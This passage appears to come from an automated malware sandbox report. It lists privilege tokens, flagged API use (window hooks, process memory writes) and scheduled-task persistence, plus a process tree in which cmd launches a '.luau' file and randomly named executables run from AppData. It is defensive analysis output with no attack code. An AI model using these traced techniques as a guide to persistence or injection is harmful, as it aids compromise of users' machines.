Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3196 wrote to memory of 248 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 972 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 248 wrote to memory of 2588 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\FloorDivision.luau

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.0.1090265165\1962040910" -parentBuildID 20230214051806 -prefsHandle 1756 -prefMapHandle 1748 -prefsLen 22035 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {19f27f5e-02b5-46b1-9f6f-8a864271c920} 248 "\\.\pipe\gecko-crash-server-pipe.248" 1832 21eae703858 gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.1.1104191208\1849873298" -parentBuildID 20230214051806 -prefsHandle 2344 -prefMapHandle 2332 -prefsLen 22071 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c9d4631-8718-4700-9247-814077b7cf76} 248 "\\.\pipe\gecko-crash-server-pipe.248" 2356 21ea198a558 socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.2.444573512\627692607" -childID 1 -isForBrowser -prefsHandle 2820 -prefMapHandle 2816 -prefsLen 22109 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {faf784d8-b7e1-441c-94aa-0441165829e2} 248 "\\.\pipe\gecko-crash-server-pipe.248" 2948 21eb0ee6858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.3.2132292964\1200862236" -childID 2 -isForBrowser -prefsHandle 3248 -prefMapHandle 2844 -prefsLen 27575 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7f5a3c05-46e8-4228-ac89-c39e21ecba33} 248 "\\.\pipe\gecko-crash-server-pipe.248" 3568 21eb402ac58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.4.621406717\1905917996" -childID 3 -isForBrowser -prefsHandle 5048 -prefMapHandle 5020 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c415502c-c1a8-4ac5-9136-c414bb68717b} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5008 21eb68a9e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.5.1734797752\1597678444" -childID 4 -isForBrowser -prefsHandle 5196 -prefMapHandle 5200 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {975bcd78-7681-4200-aa05-cd26d93f6120} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5184 21eb68a8058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.6.1820230054\304961698" -childID 5 -isForBrowser -prefsHandle 5388 -prefMapHandle 5392 -prefsLen 27614 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c97a26a-1be7-4a27-bba2-468cb4f2678e} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5380 21eb68a8658 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.7.1586563379\1540187245" -childID 6 -isForBrowser -prefsHandle 5856 -prefMapHandle 2804 -prefsLen 28175 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {80b66e37-8da0-4ca5-9492-2da926000104} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5924 21eb596af58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.8.267406544\291562384" -childID 7 -isForBrowser -prefsHandle 5324 -prefMapHandle 5328 -prefsLen 28175 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fe869a70-d823-423b-b4b0-dec3a00c9f04} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5364 21eb7f8ca58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

